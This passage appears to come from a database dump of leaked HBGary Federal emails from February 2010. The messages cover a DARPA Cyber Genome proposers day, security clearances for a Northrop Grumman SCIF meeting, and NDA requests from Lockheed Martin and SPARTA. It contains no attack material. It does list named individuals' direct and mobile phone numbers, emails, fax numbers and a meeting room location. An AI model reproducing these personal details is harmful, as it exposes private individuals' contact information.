Interactions.\r\n3. Cyber Physiology - automated analysis of visualization of computer binary functionality and behaviors (RE).  Automated analysis of binary software.\r\n4. Other - something else cool that doesn\'t fit.\r\n\r\nAs you can tell this is larger than Malware, its all digital artifacts.  How can I tell that Joe Smith that logged on today is not the same Joe Smith that logged on yesterday.  How can I tell the detailed security ramifications of the acquisition of a company that supplies products and services to the government, etc.  There has to be some sciencefiction to the proposal or it likely will miss the mark.  DARPA likes very foward leaning projects.\r\n\r\nMore to follow.  It sounds like Ted, Bob, and Myself (maybe Rich again?) will be at the 2nd proposers day on the 9th and have 30min. set with Van Putte to discuss important questions like IP, vet other ideas, etc.  Those of us in the Room, we need to have our questions by Monday.  I will set up a telecon for Monday to finalize.  Please send any questions to Ted so he can collate them prior to our Monday discussion.\r\n\r\nTed can you please verify with Larry the focus of the presentation on the 9th and whether or not Van Putte or his team will take any literature, even a one sheet pamphlet?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7400,'aaron_hbgary_com/7400.html'),(1881,'2010-02-02','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297000650.M154388P3547Q1881.eml','\"Aaron Barr\" <aaron@hbgary.com>','Clearances to NGES for 10 Feb meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; please have your clearances sent to NGES.\r\n\r\n&nbsp;\r\n\r\nscivisitcert@ngc.com\r\nor unclass fax:&nbsp; 410-993-5275\r\n\r\n&nbsp;\r\n\r\nPOC for the meeting is Jim Armitage.&nbsp; \r\n\r\n&nbsp;\r\n\r\nLet me know if you need anything else.&nbsp; \r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\nCassie Robinson&nbsp;| Northrop\r\nGrumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n&nbsp;tel 703-741-7781 | 1000 Wilson Blvd&nbsp; |\r\nSuite 2300&nbsp; | Arlington, VA 22209\r\n\r\n&nbsp;\r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5759,'aaron_hbgary_com/5759.html'),(1882,'2010-02-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000650.M488473P3547Q1882.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Cyber Genome Proposers Day','I just sent this to Larry, I\'ll forward his response once I get it...\r\n\r\nTed\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Tue, Feb 2, 2010 at 8:50 AM\r\nSubject: Re: Cyber Genome Proposers Day\r\nTo: \"Blankenship, Larry (contr-sto)\" \r\n\r\n\r\nThanks Mr. Blankenship,\r\n\r\nI got some feedback from those who attended the January proposers day\r\nand I have a couple of questions about the presentation.\r\n\r\nWhat is the focus of the presentation, and who is the audience (will\r\nthe government be present?).  Will Dr. Van Putte or his team accept\r\nany literature, even a one sheet pamphlet?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Mon, Feb 1, 2010 at 2:31 PM, Blankenship, Larry (contr-sto)\r\n wrote:\r\n> Greetings Mr. Vera,\r\n>\r\n> I have HBGary scheduled from 1200-1230 on 9 Feb with Dr. VanPutte.  Please limit your conversation to the time allotted as Dr. VanPutte wants to be fair to all visitors.  To assist in keeping your ideas in line with DARPA\'s objectives, and to make your discussion as enriching as possible, may I suggest you canvas your ideas against the Heilmeier Catechism prior to your arrival;\r\n>\r\n> -What are you trying to do? Articulate your objectives using absolutely no jargon.\r\n> -How is it done today, and what are the limits of current practice?\r\n> -What\'s new in your approach and why do you think it will be successful?\r\n> -Who cares? If you\'re successful, what difference will it make?\r\n> -What are the risks and the payoffs?\r\n> -How much will it cost? How long will it take?\r\n> -What are the midterm and final \"exams\" to check for success?\r\n>\r\n> I am looking forward to seeing you at the proposer\'s day.\r\n>\r\n> V/r\r\n>\r\n> Larry\r\n>\r\n> Larry Blankenship\r\n> SETA/DARPA STO\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16415,'aaron_hbgary_com/16415.html'),(1883,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000650.M827914P3547Q1883.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Clearances to NGES for 10 Feb meeting','Thanks Cassie,Ted and I don\'t have our clearances back yet. &nbsp;We are working on it and I think close on a couple fronts, but not yet. &nbsp;Also, The Office of Naval Research has scheduled a proposers day for a CND/IA BAA on that same day from 10-1300. &nbsp;I am not sure where or when on that day it was proposed to be scheduled. &nbsp;Should I work directly with Jim to get the best time?On my side we can certainly discuss my ideas for improving cybersecurity at the UNCLASS level.AaronOn Feb 2, 2010, at 8:46 AM, Robinson, Cassie wrote:Aaron – please have your clearances sent to NGES.&nbsp;scivisitcert@ngc.com&nbsp;or unclass fax:&nbsp; 410-993-5275&nbsp;POC for the meeting is Jim Armitage.&nbsp;&nbsp;Let me know if you need anything else.&nbsp;&nbsp;csr&nbsp;Cassie Robinson&nbsp;| Northrop Grumman CorporationIntelligence Integrated Customer Team&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209&nbsp;A kind word never broke anyone\'s mouth.--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3784,'aaron_hbgary_com/3784.html'),(1884,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000651.M63468P3547Q1884.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Clearances to NGES for 10 Feb meeting','For some reason I don\'t have it in my inbox or calendar... could you resend. &nbsp;Time works great. &nbsp;Ted may be with me, I am checking with him on when he is scheduled to fly back home.AaronOn Feb 2, 2010, at 9:16 AM, Robinson, Cassie wrote:Meeting has been scheduled for 4:00 – 5:00 pm up at NGES – I sent you the meeting notice yesterday.&nbsp; Is Ted going to be with you?&nbsp; I didn’t know that but I will inform Jim’s office.&nbsp;csr&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 11:14 AMTo:&nbsp;Robinson, CassieCc:&nbsp;Conroy, Thomas W.Subject:&nbsp;Re: Clearances to NGES for 10 Feb meeting&nbsp;Thanks Cassie,&nbsp;Ted and I don\'t have our clearances back yet. &nbsp;We are working on it and I think close on a couple fronts, but not yet. &nbsp;Also, The Office of Naval Research has scheduled a proposers day for a CND/IA BAA on that same day from 10-1300. &nbsp;I am not sure where or when on that day it was proposed to be scheduled. &nbsp;Should I work directly with Jim to get the best time?&nbsp;On my side we can certainly discuss my ideas for improving cybersecurity at the UNCLASS level.&nbsp;Aaron&nbsp;On Feb 2, 2010, at 8:46 AM, Robinson, Cassie wrote:Aaron – please have your clearances sent to NGES.&nbsp;scivisitcert@ngc.com&nbsp;or unclass fax:&nbsp; 410-993-5275&nbsp;POC for the meeting is Jim Armitage.&nbsp;&nbsp;Let me know if you need anything else.&nbsp;&nbsp;csr&nbsp;Cassie Robinson&nbsp;| Northrop Grumman CorporationIntelligence Integrated Customer Team&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209&nbsp;A kind word never broke anyone\'s mouth.--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1537,'aaron_hbgary_com/1537.html'),(1885,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000651.M886810P3547Q1885.eml','\"Zosh\" <mydocs@zosh.com>','LH NDA','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9788,'aaron_hbgary_com/9788.html'),(1886,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000652.M134730P3547Q1886.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Clearances to NGES for 10 Feb meeting','For some reason I don\'t have it in my inbox or calendar... could you resend. &nbsp;Time works great. &nbsp;Ted may be with me, I am checking with him on when he is scheduled to fly back home.AaronOn Feb 2, 2010, at 9:16 AM, Robinson, Cassie wrote:Meeting has been scheduled for 4:00 – 5:00 pm up at NGES – I sent you the meeting notice yesterday.&nbsp; Is Ted going to be with you?&nbsp; I didn’t know that but I will inform Jim’s office.&nbsp;csr&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 11:14 AMTo:&nbsp;Robinson, CassieCc:&nbsp;Conroy, Thomas W.Subject:&nbsp;Re: Clearances to NGES for 10 Feb meeting&nbsp;Thanks Cassie,&nbsp;Ted and I don\'t have our clearances back yet. &nbsp;We are working on it and I think close on a couple fronts, but not yet. &nbsp;Also, The Office of Naval Research has scheduled a proposers day for a CND/IA BAA on that same day from 10-1300. &nbsp;I am not sure where or when on that day it was proposed to be scheduled. &nbsp;Should I work directly with Jim to get the best time?&nbsp;On my side we can certainly discuss my ideas for improving cybersecurity at the UNCLASS level.&nbsp;Aaron&nbsp;On Feb 2, 2010, at 8:46 AM, Robinson, Cassie wrote:Aaron – please have your clearances sent to NGES.&nbsp;scivisitcert@ngc.com&nbsp;or unclass fax:&nbsp; 410-993-5275&nbsp;POC for the meeting is Jim Armitage.&nbsp;&nbsp;Let me know if you need anything else.&nbsp;&nbsp;csr&nbsp;Cassie Robinson&nbsp;| Northrop Grumman CorporationIntelligence Integrated Customer Team&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209&nbsp;A kind word never broke anyone\'s mouth.--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10481,'aaron_hbgary_com/10481.html'),(1887,'2010-02-02','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000652.M383079P3547Q1887.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary Federal/NGES Collaboration','\r\n\r\n\r\n\r\n\r\nHBGary Federal/NGES Collaboration \r\n\r\n\r\n\r\n\r\nWhen: Wednesday, February 10, 2010 4:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 1550 West Nursery Road, Linthicum, md&nbsp; (5TH fLOOR SCIF, 5038)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAaron &#8211; I am waiting to hear from NGES security POC on where you should send your clearances.&nbsp; \r\n\r\nWill send as soon as I get the information.&nbsp; \r\n\r\nThanks\r\n\r\ncsr&nbsp; \r\n\r\n\r\n',1546,'aaron_hbgary_com/1546.html'),(1888,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000652.M633121P3547Q1888.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Clearances to NGES for 10 Feb meeting','Thanks got it.On Feb 2, 2010, at 9:25 AM, Robinson, Cassie wrote:Resent meeting notice --&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 11:20 AMTo:&nbsp;Robinson, CassieSubject:&nbsp;Re: Clearances to NGES for 10 Feb meeting&nbsp;For some reason I don\'t have it in my inbox or calendar... could you resend. &nbsp;Time works great. &nbsp;Ted may be with me, I am checking with him on when he is scheduled to fly back home.&nbsp;Aaron&nbsp;On Feb 2, 2010, at 9:16 AM, Robinson, Cassie wrote:Meeting has been scheduled for 4:00 – 5:00 pm up at NGES – I sent you the meeting notice yesterday.&nbsp; Is Ted going to be with you?&nbsp; I didn’t know that but I will inform Jim’s office.&nbsp;csr&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 11:14 AMTo:&nbsp;Robinson, CassieCc:&nbsp;Conroy, Thomas W.Subject:&nbsp;Re: Clearances to NGES for 10 Feb meeting&nbsp;Thanks Cassie,&nbsp;Ted and I don\'t have our clearances back yet. &nbsp;We are working on it and I think close on a couple fronts, but not yet. &nbsp;Also, The Office of Naval Research has scheduled a proposers day for a CND/IA BAA on that same day from 10-1300. &nbsp;I am not sure where or when on that day it was proposed to be scheduled. &nbsp;Should I work directly with Jim to get the best time?&nbsp;On my side we can certainly discuss my ideas for improving cybersecurity at the UNCLASS level.&nbsp;Aaron&nbsp;On Feb 2, 2010, at 8:46 AM, Robinson, Cassie wrote:Aaron – please have your clearances sent to NGES.&nbsp;scivisitcert@ngc.com&nbsp;or unclass fax:&nbsp; 410-993-5275&nbsp;POC for the meeting is Jim Armitage.&nbsp;&nbsp;Let me know if you need anything else.&nbsp;&nbsp;csr&nbsp;Cassie Robinson&nbsp;| Northrop Grumman CorporationIntelligence Integrated Customer Team&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209&nbsp;A kind word never broke anyone\'s mouth.--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12953,'aaron_hbgary_com/12953.html'),(1889,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000652.M883079P3547Q1889.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Email from Kathy','Tom,\r\n\r\nI got an email from Kathy to give her a call.  I will let you know how that goes.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6905,'aaron_hbgary_com/6905.html'),(1890,'2010-02-02','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297000653.M132734P3547Q1890.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Clearances to NGES for 10 Feb meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf Ted is coming, you can forward it to him.&nbsp; Just let me know\r\nso I can let NGES know. \r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010 11:26 AM\r\nTo: Robinson, Cassie\r\nSubject: Re: Clearances to NGES for 10 Feb meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks got it.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 2, 2010, at 9:25 AM, Robinson, Cassie wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResent meeting notice --\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n02, 2010 11:20 AM\r\nTo:&nbsp;Robinson, Cassie\r\nSubject:&nbsp;Re: Clearances to\r\nNGES for 10 Feb meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor some reason I don\'t have it in my inbox or calendar...\r\ncould you resend. &nbsp;Time works great. &nbsp;Ted may be with me, I am\r\nchecking with him on when he is scheduled to fly back home.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 2, 2010, at 9:16 AM, Robinson, Cassie wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMeeting has been scheduled for 4:00 &#8211; 5:00 pm up at NGES &#8211; I\r\nsent you the meeting notice yesterday.&nbsp; Is Ted going to be with you?&nbsp;\r\nI didn&#8217;t know that but I will inform Jim&#8217;s office.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ncsr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n02, 2010 11:14 AM\r\nTo:&nbsp;Robinson, Cassie\r\nCc:&nbsp;Conroy, Thomas W.\r\nSubject:&nbsp;Re: Clearances to\r\nNGES for 10 Feb meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Cassie,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and I don\'t have our clearances back yet. &nbsp;We are\r\nworking on it and I think close on a couple fronts, but not yet. &nbsp;Also,\r\nThe Office of Naval Research has scheduled a proposers day for a CND/IA BAA on\r\nthat same day from 10-1300. &nbsp;I am not sure where or when on that day it\r\nwas proposed to be scheduled. &nbsp;Should I work directly with Jim to get the\r\nbest time?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn my side we can certainly discuss my ideas for improving\r\ncybersecurity at the UNCLASS level.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 2, 2010, at 8:46 AM, Robinson, Cassie wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n&#8211; please have your clearances sent to NGES.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nscivisitcert@ngc.com&nbsp;or unclass fax:&nbsp; 410-993-5275\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPOC\r\nfor the meeting is Jim Armitage.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet\r\nme know if you need anything else.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ncsr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCassie Robinson&nbsp;| Northrop Grumman Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nA\r\nkind word never broke anyone\'s mouth.\r\n--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4399,'aaron_hbgary_com/4399.html'),(1891,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000653.M435978P3547Q1891.eml','\"Mike Junod\" <mjunod@atl.lmco.com>,\"Mike Junod\" <mjunod@atl.lmco.com>','Re: Cyber Genome Teaming','Mike,\r\n\r\nWorking on the NDA now.  I am in Colorado Springs until Wednesday.  Look forward to our continued discussions.\r\n\r\nAaron\r\n\r\n\r\nOn Feb 2, 2010, at 6:21 AM, Mike Junod wrote:\r\n\r\n> Aaron,\r\n> \r\n> As we discussed at the Cyber Genome Industry Day last Friday, I would like to execute an NDA between our organizations so we can have technical teaming discussions. Are you still interested in talking?\r\n> \r\n> If so, I\'ve copied Dan Miksch from ATL on this email who handles our Proprietary Information Agreements. He can send you our agreement for review.\r\n> \r\n> I would like to move quickly as the clock is running.\r\n> \r\n> \r\n> \r\n> Mike Junod\r\n> Manager, Advanced Concepts Laboratory\r\n> \r\n>  Lockheed Martin\r\n>  Advanced Technology Laboratories (ATL)\r\n>  3 Executive Campus, Suite 600\r\n>  Cherry Hill, NJ 08002\r\n> \r\n>  Email: mjunod@atl.lmco.com\r\n>  Voice: (856) 792-9768\r\n>  Mobile: (215) 519-4253\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11880,'aaron_hbgary_com/11880.html'),(1892,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000656.M839340P3547Q1892.eml','\"Korinok, Andrea (N-ATL)\" <andrea.korinok@lmco.com>','Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal  - Lockheed Martin Proprietary Information','\r\n\r\nAaron\r\n\r\n\r\nOn Feb 2, 2010, at 8:21 AM, Korinok, Andrea (N-ATL) wrote:\r\n\r\n> Lockheed Martin Proprietary Information \r\n> Proprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure. Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin. \r\n> \r\n> . \r\n> . \r\n> . \r\n> Message Start: \r\n> ----------------------- \r\n> Mr. Barr,\r\n> \r\n> I have been asked to prepare the above subject and have attached a copy of our standard PIA with the new information shown in red. Please supply the following information: \r\n> \r\n> Page 1, para 1 - Verify/correct company name & address. \r\n> \r\n> Page 1, para 2 - Verify/insert the technology areas to be protected. \r\n> \r\n> Page 3, para 7 - Verify/correct company name & address and the Technical POC. \r\n> \r\n> Page 4, last para - Verify/correct company name and insert the name & title of the person who is authorized to sign this agreement. \r\n> \r\n> Please return this agreement to me after you have completed this information. If you need to make any additional changes to the document, I have turned on the Editing/Highlighting tool so that I can see where any changes have been made. \r\n> \r\n> After final review, I will issue a PDF copy for your signature, which you can scan & email or fax back to me at the address/number shown below. After LM/ATLs countersignature, I will send our fully executed agreement to you via email. If you require a pen original, please let me know and I will send our agreement via an overnight carrier.\r\n> \r\n> If you should have any questions or concerns, feel free to contact me.\r\n>  \r\n> Regards,\r\n> Andrea Korinok\r\n> Business Operations & Legal Support Specialist\r\n> Lockheed Martin / Advanced Technology Laboratories\r\n> 3 Executive Campus, Suite 600\r\n> Cherry Hill, NJ 08002\r\n> Phone: (856) 792-9707\r\n> Fax: (856) 792-9910\r\n> Email: andrea.korinok@lmco.com\r\n>  \r\n>  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5187,'aaron_hbgary_com/5187.html'),(1893,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000657.M115935P3547Q1893.eml','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','Re: Introductions','Hi Erik,Looking forward to our meeting later this week. &nbsp;I would like to get an NDA in place between our orgs to discuss freely. &nbsp;Would you like me to send you ours or want to go with yours, I am good either way.AaronOn Jan 27, 2010, at 3:53 PM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nAaron,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased\r\nto meet you.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look\r\nforward to discussing NWOC and other opportunities with you.&nbsp;Erik&nbsp;\r\n\r\nErik G. Mettala, Ph.D.Chief ScientistSPARTA National Security Systems Sectordba Cobham Analytic Solutions7110 Samuel Morse DriveColumbia, MD 21046www.sparta.comT:&nbsp;443-430-8059C: 703-209-2221F: 443-430-8208&nbsp;Please consider the environment before\r\nprinting this emailThis e-mail and any files transmitted with it\r\n(\"E-mail\") is intended solely for the addressee(s) and may contain\r\nconfidential and/or legally privileged information. If you are not the\r\naddressee(s), any disclosure, reproduction, copying, distribution or other use\r\nof the E-mail is 